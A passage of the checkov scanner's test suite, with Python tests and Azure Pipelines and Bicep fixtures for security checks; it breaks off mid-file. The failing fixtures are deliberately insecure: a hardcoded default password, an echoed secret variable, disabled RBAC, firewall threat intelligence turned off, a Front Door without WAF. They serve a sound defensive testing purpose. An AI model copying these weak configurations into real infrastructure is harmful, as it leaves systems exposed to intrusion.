AzureDevOps/AzureDevOps stages: - stage: Example jobs: - job: FailNoTag pool: vmImage: 'ubuntu-18.04' container: ubuntu steps: - script: printenv - job: PassDigest pool: vmImage: 'ubuntu-18.04' container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db steps: - script: printenv jobs: - job: FailLatestTag pool: vmImage: 'ubuntu-18.04' container: ubuntu:latest steps: - script: printenv - job: PassTag pool: vmImage: 'ubuntu-18.04' container: ubuntu:20.04 steps: - script: printenv - job: FailAnotherLatestTag pool: vmImage: 'ubuntu-18.04' container: image: node:latest steps: - script: printenv ================================================ FILE: tests/azure_pipelines/checks/jobs/example_SetSecretVariable/azure-pipelines.yml ================================================ resources: - repo: self trigger: - master stages: - stage: Example jobs: - job: PassSetNoSecretVariable pool: vmImage: 'ubuntu-18.04' container: ubuntu steps: - bash: | echo "##vso[task.setvariable variable=normal_variable;issecret=false]something" - powershell: | Write-Host "##vso[task.setvariable variable=normal_variable;issecret=false]something" - job: UnknownNoSetVariable pool: vmImage: 'ubuntu-18.04' container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db steps: - bash: | echo "hello world" - powershell: | Write-Host "hello world" jobs: - job: FailSetSecretVariable pool: vmImage: 'ubuntu-20.04' steps: - bash: | echo "##vso[task.setvariable variable=normal_variable;]something" echo "##vso[task.setvariable variable=secret_variable;issecret=true]super-secret" name: setSecretVariableStep - powershell: | Write-Host "##vso[task.setvariable variable=normal_variable;]something" Write-Host "##vso[task.setvariable variable=secret_variable;issecret=true]super-secret" - job: PassSetNormalVariable pool: vmImage: 'ubuntu-20.04' steps: - bash: | echo "##vso[task.setvariable variable=normal_variable;]something" - powershell: | Write-Host "##vso[task.setvariable variable=normal_variable;]something" ================================================ FILE: tests/azure_pipelines/checks/jobs/test_ContainerDigest.py ================================================ from pathlib import Path from checkov.azure_pipelines.runner import Runner from checkov.azure_pipelines.checks.job.ContainerDigest import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_ContainerDigest" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"stages[0](ExampleDisplayName).jobs[1](PassDigestDisplayName)", } failing_resources = { f"jobs[0](FailTag)", f"stages[0](ExampleDisplayName).jobs[0](FailNoTag)", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/azure_pipelines/checks/jobs/test_ContainerLatestTag.py ================================================ from pathlib import Path from checkov.azure_pipelines.runner import Runner from checkov.azure_pipelines.checks.job.ContainerLatestTag import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_ContainerLatestTag" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"jobs[1](PassTag)", f"stages[0](Example).jobs[1](PassDigest)", } failing_resources = { f"jobs[0](FailLatestTag)", f"stages[0](Example).jobs[0](FailNoTag)", f"jobs[2](FailAnotherLatestTag)" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/azure_pipelines/checks/jobs/test_SetSecretVariable.py ================================================ from pathlib import Path from checkov.azure_pipelines.runner import Runner from checkov.azure_pipelines.checks.job.SetSecretVariable import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_SetSecretVariable" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"jobs[1](PassSetNormalVariable).steps[0]", f"jobs[1](PassSetNormalVariable).steps[1]", f"stages[0](Example).jobs[0](PassSetNoSecretVariable).steps[0]", f"stages[0](Example).jobs[0](PassSetNoSecretVariable).steps[1]", } failing_resources = { f"jobs[0](FailSetSecretVariable).steps[0](setSecretVariableStep)", f"jobs[0](FailSetSecretVariable).steps[1]", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/azure_pipelines/conftest.py ================================================ from __future__ import annotations from typing import Any, Tuple import pytest @pytest.fixture def supported_entities() -> Tuple[str, str]: return 'jobs', 'stages[].jobs[]' @pytest.fixture def definitions() -> dict[str, Any]: return { '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml': { 'trigger': ['master'], 'resources': { 'repositories': [ { 'repository': 'AzureDevOps', 'type': 'git', 'endpoint': 'AzureDevOps', 'name': 'AzureDevOps/AzureDevOps', '__startline__': 6, '__endline__': 11 } ], '__startline__': 5, '__endline__': 11 }, 'stages': [ { 'stage': 'Example', 'jobs': [ { 'job': 'FailNoTag', 'displayName': 'FailNoTagDisplayName', 'pool': { 'vmImage': 'ubuntu-18.04', '__startline__': 16, '__endline__': 18 }, 'container': 'ubuntu', 'steps': [ { 'script': 'printenv', '__startline__': 21, '__endline__': 22 } ], '__startline__': 14, '__endline__': 22 }, { 'job': 'PassDigest', 'pool': { 'vmImage': 'ubuntu-18.04', '__startline__': 24, '__endline__': 26 }, 'container': 'ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db', 'steps': [ { 'script': 'printenv', '__startline__': 29, '__endline__': 31 } ], '__startline__': 22, '__endline__': 31 } ], '__startline__': 12, '__endline__': 31 } ], 'jobs': [ { 'job': 'FailTag', 'pool': { 'vmImage': 'ubuntu-18.04', '__startline__': 34, '__endline__': 36 }, 'container': 'ubuntu:20.04', 'steps': [ { 'script': 'printenv', '__startline__': 39, '__endline__': 39 } ], '__startline__': 32, '__endline__': 39 } ], '__startline__': 1, '__endline__': 39 } } ================================================ FILE: tests/azure_pipelines/examples/azure-pipelines.yml ================================================ trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: AzureDevOps/AzureDevOps jobs: - job: PassTag pool: vmImage: 'ubuntu-18.04' container: ubuntu:20.04 steps: - script: printenv ================================================ FILE: tests/azure_pipelines/resources/azure-pipelines.yaml ================================================ trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: AzureDevOps/AzureDevOps stages: - stage: Example jobs: - job: FailNoTag displayName: FailNoTagDisplayName pool: vmImage: 'ubuntu-18.04' container: ubuntu steps: - script: printenv name: runPrintenv - job: PassDigest pool: vmImage: 'ubuntu-18.04' container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db steps: - script: printenv jobs: - job: FailTag pool: vmImage: 'ubuntu-18.04' container: ubuntu:20.04 steps: - script: printenv ================================================ FILE: tests/azure_pipelines/test_resource_names.py ================================================ import pytest from checkov.azure_pipelines.runner import Runner @pytest.mark.parametrize( "key,file_path,expected_key, start_line, end_line", [ ('jobs.jobs.CKV_AZUREPIPELINES_1[32:39]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml', 'jobs[0](FailTag)', 32, 39), ('stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_1[14:22]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml', 'stages[0](Example).jobs[0](FailNoTagDisplayName)', 14, 22), ('stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_1[22:29]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml', 'stages[0](Example).jobs[1](PassDigest)', 22, 29) ], ) def test_get_resource(key, file_path, expected_key, definitions, supported_entities, start_line, end_line): runner = Runner() runner.definitions = definitions new_key = runner.get_resource(file_path, key, [], start_line, end_line) assert new_key == expected_key ================================================ FILE: tests/azure_pipelines/test_runner.py ================================================ from pathlib import Path from checkov.azure_pipelines.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.runner_filter import RunnerFilter from checkov.azure_pipelines.checks.registry import registry EXAMPLES_DIR = Path(__file__).parent / "examples" def test_registry_has_type(): assert registry.report_type == CheckType.AZURE_PIPELINES def test_runner_honors_enforcement_rules(): # given test_file = EXAMPLES_DIR / "azure-pipelines.yml" # when filter = RunnerFilter(framework=["azure_pipelines"], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.AZURE_PIPELINES: Severities[BcSeverities.OFF]} report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_runner_passing_check(): # given test_file = EXAMPLES_DIR / "azure-pipelines.yml" # when report = Runner().run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZUREPIPELINES_1"]) ) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_runner_failing_check(): # given test_file = EXAMPLES_DIR / "azure-pipelines.yml" # when report = Runner().run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZUREPIPELINES_2"]) ) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/bicep/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/param/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/param/azure/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/param/azure/example_SecureStringParameterNoHardcodedValue/main.bicep ================================================ // pass @description('password') @secure() param password string // fail @description('default password') @secure() param defaultPassword string = 'secret' // unknown @description('username') param username string ================================================ FILE: tests/bicep/checks/param/azure/test_SecureStringParameterNoHardcodedValue.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.bicep.checks.param.azure.SecureStringParameterNoHardcodedValue import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_SecureStringParameterNoHardcodedValue" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "string.password", } failing_resources = { "string.defaultPassword", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert summary["resource_count"] == 3 # 1 unknown assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources secret = report.failed_checks[0].code_block[2][1].split('=')[1] assert '*' in secret ================================================ FILE: tests/bicep/checks/resource/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/resource/azure/__init__.py ================================================ ================================================ FILE: tests/bicep/checks/resource/azure/example_AKSApiServerAuthorizedIpRanges/main.bicep ================================================ // pass resource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } // fail resource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { disableRunCommand: true } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AKSDashboardDisabled/main.bicep ================================================ // pass resource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } // fail resource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } } apiServerAccessProfile: { disableRunCommand: true } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AKSLoggingEnabled/main.bicep ================================================ // pass resource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } resource enabledCamelCase 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsAgent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } // fail resource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { kubeDashboard: { enabled: false } } apiServerAccessProfile: { disableRunCommand: true } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AKSNetworkPolicy/main.bicep ================================================ // pass resource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } // fail resource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { disableRunCommand: true } networkProfile: { networkPlugin: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AKSRbacEnabled/main.bicep ================================================ // pass resource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: true agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } // fail resource disabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { enableRBAC: false agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } resource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = { name: 'string' location: resourceGroup().location identity: { type: 'SystemAssigned' } properties: { agentPoolProfiles: [ { name: 'agentpool' osDiskSizeGB: osDiskSizeGB osSKU: 'Ubuntu' osType: 'Linux' } ] addonProfiles: { omsagent: { config: { logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id } enabled: true } kubeDashboard: { enabled: false } } apiServerAccessProfile: { authorizedIPRanges: [ '10.0.0.0/8' ] } networkProfile: { networkPlugin: 'azure' networkPolicy: 'azure' } linuxProfile: { adminUsername: linuxAdminUsername ssh: { publicKeys: [ { keyData: sshRSAPublicKey } ] } } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail.bicep ================================================ param azureFirewalls_fail_name string param publicIPAddresses_testpip_name string param virtualNetworks_testvnet_name string resource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = { location: 'westeurope' name: publicIPAddresses_testpip_name properties: { ddosSettings: { protectionMode: 'VirtualNetworkInherited' } idleTimeoutInMinutes: 4 ipAddress: '20.234.231.26' ipTags: [] publicIPAddressVersion: 'IPv4' publicIPAllocationMethod: 'Static' } sku: { name: 'Standard' tier: 'Regional' } } resource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = { location: 'westeurope' name: virtualNetworks_testvnet_name properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } dhcpOptions: { dnsServers: [] } enableDdosProtection: false subnets: [ { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id name: 'AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } type: 'Microsoft.Network/virtualNetworks/subnets' } ] virtualNetworkPeerings: [] } } resource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = { name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } dependsOn: [ virtualNetworks_testvnet_name_resource ] } resource fail 'Microsoft.Network/azureFirewalls@2022-09-01' = { location: 'westeurope' name: 'fail' properties: { additionalProperties: {} applicationRuleCollections: [] ipConfigurations: [ { id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_fail_name)}/azureFirewallIpConfigurations/configuration' name: 'configuration' properties: { publicIPAddress: { id: publicIPAddresses_testpip_name_resource.id } subnet: { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id } } } ] natRuleCollections: [] networkRuleCollections: [] sku: { name: 'AZFW_VNet' tier: 'Standard' } threatIntelMode: 'Alert' } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail2.bicep ================================================ param azureFirewalls_fail_name string param publicIPAddresses_testpip_name string param virtualNetworks_testvnet_name string resource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = { location: 'westeurope' name: publicIPAddresses_testpip_name properties: { ddosSettings: { protectionMode: 'VirtualNetworkInherited' } idleTimeoutInMinutes: 4 ipAddress: '20.234.231.26' ipTags: [] publicIPAddressVersion: 'IPv4' publicIPAllocationMethod: 'Static' } sku: { name: 'Standard' tier: 'Regional' } } resource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = { location: 'westeurope' name: virtualNetworks_testvnet_name properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } dhcpOptions: { dnsServers: [] } enableDdosProtection: false subnets: [ { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id name: 'AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } type: 'Microsoft.Network/virtualNetworks/subnets' } ] virtualNetworkPeerings: [] } } resource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = { name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } dependsOn: [ virtualNetworks_testvnet_name_resource ] } resource fail2 'Microsoft.Network/azureFirewalls@2022-09-01' = { location: 'westeurope' name: 'fail2' properties: { additionalProperties: {} applicationRuleCollections: [] ipConfigurations: [ { id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_fail_name)}/azureFirewallIpConfigurations/configuration' name: 'configuration' properties: { publicIPAddress: { id: publicIPAddresses_testpip_name_resource.id } subnet: { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id } } } ] natRuleCollections: [] networkRuleCollections: [] sku: { name: 'AZFW_VNet' tier: 'Standard' } threatIntelMode: 'Off' } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.pass.bicep ================================================ param azureFirewalls_pass_name string param publicIPAddresses_testpip_name string param virtualNetworks_testvnet_name string resource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = { location: 'westeurope' name: publicIPAddresses_testpip_name properties: { ddosSettings: { protectionMode: 'VirtualNetworkInherited' } idleTimeoutInMinutes: 4 ipAddress: '20.234.231.26' ipTags: [] publicIPAddressVersion: 'IPv4' publicIPAllocationMethod: 'Static' } sku: { name: 'Standard' tier: 'Regional' } } resource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = { location: 'westeurope' name: virtualNetworks_testvnet_name properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } dhcpOptions: { dnsServers: [] } enableDdosProtection: false subnets: [ { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id name: 'AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } type: 'Microsoft.Network/virtualNetworks/subnets' } ] virtualNetworkPeerings: [] } } resource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = { name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet' properties: { addressPrefix: '10.0.1.0/24' delegations: [] privateEndpointNetworkPolicies: 'Enabled' privateLinkServiceNetworkPolicies: 'Enabled' serviceEndpoints: [] } dependsOn: [ virtualNetworks_testvnet_name_resource ] } resource pass 'Microsoft.Network/azureFirewalls@2022-09-01' = { location: 'westeurope' name: 'pass' properties: { additionalProperties: {} applicationRuleCollections: [] ipConfigurations: [ { id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_pass_name)}/azureFirewallIpConfigurations/configuration' name: 'configuration' properties: { publicIPAddress: { id: publicIPAddresses_testpip_name_resource.id } subnet: { id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id } } } ] natRuleCollections: [] networkRuleCollections: [] sku: { name: 'AZFW_VNet' tier: 'Standard' } threatIntelMode: 'Deny' } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureFrontDoorEnablesWAF/fail.bicep ================================================ @description('The name of the frontdoor resource.') param frontDoorName string @description('The hostname of the backend. Must be an IP address or FQDN.') param backendAddress string var frontEndEndpointName = 'frontEndEndpoint' var loadBalancingSettingsName = 'loadBalancingSettings' var healthProbeSettingsName = 'healthProbeSettings' var routingRuleName = 'routingRule' var backendPoolName = 'backendPool' resource fail 'Microsoft.Network/frontDoors@2020-05-01' = { name: 'fail' location: 'global' properties: { enabledState: 'Enabled' frontendEndpoints: [ { name: frontEndEndpointName properties: { hostName: '${frontDoorName}.azurefd.net' sessionAffinityEnabledState: 'Disabled' } } ] loadBalancingSettings: [ { name: loadBalancingSettingsName properties: { sampleSize: 4 successfulSamplesRequired: 2 } } ] healthProbeSettings: [ { name: healthProbeSettingsName properties: { path: '/' protocol: 'Http' intervalInSeconds: 120 } } ] backendPools: [ { name: backendPoolName properties: { backends: [ { address: backendAddress backendHostHeader: backendAddress httpPort: 80 httpsPort: 443 weight: 50 priority: 1 enabledState: 'Enabled' } ] loadBalancingSettings: { id: resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', frontDoorName, loadBalancingSettingsName) } healthProbeSettings: { id: resourceId('Microsoft.Network/frontDoors/healthProbeSettings', frontDoorName, healthProbeSettingsName) } } } ] routingRules: [ { name: routingRuleName properties: { frontendEndpoints: [ { id: resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', frontDoorName, frontEndEndpointName) } ] acceptedProtocols: [ 'Http' 'Https' ] patternsToMatch: [ '/*' ] routeConfiguration: { '@odata.type': '#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration' forwardingProtocol: 'MatchRequest' backendPool: { id: resourceId('Microsoft.Network/frontDoors/backEndPools', frontDoorName, backendPoolName) } } enabledState: 'Enabled' } } ] } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureFrontDoorEnablesWAF/pass.bicep ================================================ @description('The name of the frontdoor resource.') param frontDoorName string @description('The hostname of the backend. Must be an IP address or FQDN.') param backendAddress string var frontEndEndpointName = 'frontEndEndpoint' var loadBalancingSettingsName = 'loadBalancingSettings' var healthProbeSettingsName = 'healthProbeSettings' var routingRuleName = 'routingRule' var backendPoolName = 'backendPool' resource pass 'Microsoft.Network/frontDoors@2020-05-01' = { name: 'pass' location: 'global' properties: { enabledState: 'Enabled' frontendEndpoints: [ { name: frontEndEndpointName properties: { hostName: '${frontDoorName}.azurefd.net' webApplicationFirewallPolicyLink: { id: 'anythingyoulike' } sessionAffinityEnabledState: 'Disabled' } } ] loadBalancingSettings: [ { name: loadBalancingSettingsName properties: { sampleSize: 4 successfulSamplesRequired: 2 } } ] healthProbeSettings: [ { name: healthProbeSettingsName properties: { path: '/' protocol: 'Http' intervalInSeconds: 120 } } ] backendPools: [ { name: backendPoolName properties: { backends: [ { address: backendAddress backendHostHeader: backendAddress httpPort: 80 httpsPort: 443 weight: 50 priority: 1 enabledState: 'Enabled' } ] loadBalancingSettings: { id: 